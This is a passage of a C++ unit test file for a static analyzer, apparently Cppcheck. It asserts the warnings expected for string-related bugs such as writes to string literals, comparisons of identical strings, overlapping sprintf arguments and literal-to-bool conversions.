u\\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:19]: (error) Modifying string literal u\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #8332\n \" int i;\\n\"\n \" char *p = \\\"string literal\\\";\\n\"\n \" for( i = 0; i < strlen(p); i++) {\\n\"\n \" p[i] = \\'X\\';\\n\" // <<\n \" }\\n\"\n \" printf(\\\"%s\\\\n\\\", p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:16]: (error) Modifying string literal \\\"string literal\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n }\n\n void alwaysTrueFalseStringCompare() {\n check(\"void f() {\\n\"\n \" if (strcmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strcasecmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncasecmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (memcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strverscmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (bcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (wcsncasecmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcsncmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wmemcmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcscmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \" if (wcscasecmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:4:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:5:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:6:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:7:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:8:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:9:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:10:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:11:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:12:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:13:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(void *p, int offset) {\\n\"\n \" if (!memcmp(p, p + offset, 42)){}\\n\"\n \" if (!memcmp(p + offset, p, 42)){}\\n\"\n \" if (!memcmp(offset + p, p, 42)){}\\n\"\n \" if (!memcmp(p, offset + p, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(char *c, int offset) {\\n\"\n \" if (!memcmp(c, c + offset, 42)){}\\n\"\n \" if (!memcmp(c + offset, c, 42)){}\\n\"\n \" if (!memcmp(offset + c, c, 42)){}\\n\"\n \" if (!memcmp(c, offset + c, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(std::string s, int offset) {\\n\"\n \" if (!memcmp(s.c_str(), s.c_str() + offset, 42)){}\\n\"\n \" if (!memcmp(s.c_str() + offset, s.c_str(), 42)){}\\n\"\n \" if (!memcmp(offset + s.c_str(), s.c_str(), 42)){}\\n\"\n \" if (!memcmp(s.c_str(), offset + s.c_str(), 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void) {\\n\" // #13527\n \" const wchar_t* str1 = L\\\"Hello\\\";\\n\"\n \" return wcsicmp(str1, str1);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (strcmp($\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if ($strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (stricmp(\\\"hotdog\\\",\\\"HOTdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(\\\"Hamburger\\\", \\\"Hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(argv[2], \\\"hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strncmp(\\\"hotdog\\\",\\\"hotdog\\\", 6) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int foo(const char *buf)\\n\"\n \"{\\n\"\n \" if (strcmp(buf, buf) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int foo(const std::string& buf)\\n\"\n \"{\\n\"\n \" if (stricmp(buf.c_str(), buf.c_str()) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" == \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" != \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (a+\\\"str\\\" != \\\"str\\\"+b) {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[3] == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal compared with variable 'c[3]'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L\\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use wcscmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const char* c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return foo+\\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c+foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c.foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const std::string& c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(const Foo* c) {\\n\"\n \" return \\\"x\\\" == c->bar();\\n\" // #4314\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString **str=OtherGetter();\\n\"\n \"return *str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString str=OtherGetter2();\\n\"\n \"return &str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '&str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #5734\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // 5639 String literal compared with char buffer in a struct\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // #9726\n check(\"void f(std::vector theArgs) {\\n\"\n \" std::string arg1(*theArgs.begin());\\n\"\n \" if(arg1 == \\\"aaa\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare_char() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == 'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return '\\\\0' != c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c[0]'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return *c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Char literal compared with pointer '*c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo* c) {\\n\"\n \" return 0 == c->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char* c) {\\n\"\n \" if(c == '\\\\0') bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Char literal compared with pointer 'a.x.str'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return *a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void snprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" snprintf(buf,100,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \" if (buf[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf4() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" const char* filename = \\\"hello\\\";\\n\"\n \" struct A a;\\n\"\n \" snprintf(a.filename, 128, \\\"%s\\\", filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf5() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct A *a)\\n\"\n \"{\\n\"\n \" snprintf(a->filename, 128, \\\"%s\\\", a->filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:39]: (error) Undefined behavior: Variable 'a->filename' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf6() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)buf,\\\"%s\\\",(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:29]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf7() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)(void*)buf,\\\"%s\\\",(void*)(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void wsprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" wchar_t buf[100];\\n\"\n \" swprintf(buf,10, \\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in swprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void strPlusChar1() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p = \\\"/usr\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Unusual pointer arithmetic. A value of type 'char' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void strPlusChar2() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char ch = 1;\\n\"\n \" const char *p = ch + \\\"/usr\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 1;\\n\"\n \" const char* psz = \\\"Bla\\\";\\n\"\n \" const std::string str = i + psz;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar3() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string temp = \\\"/tmp\\\";\\n\"\n \" std::string path = temp + '/' + \\\"sub\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar4() {\n // Strange looking pointer arithmetic, wide char..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + L'/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n\n check(\"void foo(wchar_t c)\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void incorrectStringCompare() {\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == L\\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal L\\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 5 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 4 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == foo.bar().z[1].substr(i+j*4, 4) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:43]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 5 ) ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (\\\"Hello\\\" && test) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (test && \\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" while (\\\"Hello\\\") { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test || \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (test && \\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" || test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Conversion of string literal \\\"Hello\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" assert (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" BOOST_ASSERT (\\\"Hello\\\" && test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return f2(\\\"Hello\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7750 warn about char literals in boolean expressions\n check(\"void f() {\\n\"\n \" if('a'){}\\n\"\n \" if(L'b'){}\\n\"\n \" if(1 && 'c'){}\\n\"\n \" int x = 'd' ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'b' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:11]: (warning) Conversion of char literal 'c' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:5:11]: (warning) Conversion of char literal 'd' to bool always evaluates to true. [incorrectCharBooleanError]\\n\"\n , errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0'){}\\n\"\n \" if(L'\\\\0'){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if('\\\\0' || cond){}\\n\"\n \" if(L'\\\\0' || cond){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:3:6]: (warning) Conversion of char literal L'\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\", errout_str());\n\n check(\"void f(bool b);\\n\" // #9450\n \"void f(std::string s);\\n\"\n \"void g() {\\n\"\n \" f(\\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Conversion of string literal \\\"abc\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \" void f(std::map>&m) {\\n\"\n \" if (m.count(\\\"abc\\\"))\\n\"\n \" g(m[\\\"abc\\\"][0] ? true : false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b);\\n\"\n \"void f() {\\n\"\n \" g('\\\\0');\\n\"\n \" g('a');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Conversion of char literal '\\\\0' to bool always evaluates to false. [incorrectCharBooleanError]\\n\"\n \"[test.cpp:4:7]: (warning) Conversion of char literal 'a' to bool always evaluates to true. [incorrectCharBooleanError]\\n\",\n errout_str());\n\n check(\"#define ERROR(msg) if (msg) printf(\\\"%s\\\\n\\\", msg);\\n\"\n \"void f() {\\n\"\n \"\t ERROR(\\\"abc\\\")\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int, bool);\\n\"\n \"void f() {\\n\"\n \" MyAssert(!\\\"abc\\\");\\n\"\n \" g(2, !\\\"def\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Conversion of string literal \\\"def\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"bool f(const char *p) {\\n\"\n \" if (*p == '\\\\0')\\n\"\n \" return *p == '\\\\0';\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* p, const int* q) {\\n\"\n \" assert((p != NULL && q != NULL) || !\\\"abc\\\");\\n\"\n \" ASSERT((void*)(\\\"def\\\") == 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #6109\n \" void check(const char code[], bool validate = true, const char* filename = \\\"test.cpp\\\");\\n\"\n \" void f() {\\n\"\n \" check(\\\"class A;\\\", \\\"test.C\\\");\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:34]: (warning) Conversion of string literal \\\"test.C\\\" to bool always evaluates to true. [incorrectStringBooleanError]\\n\", errout_str());\n\n check(\"#define 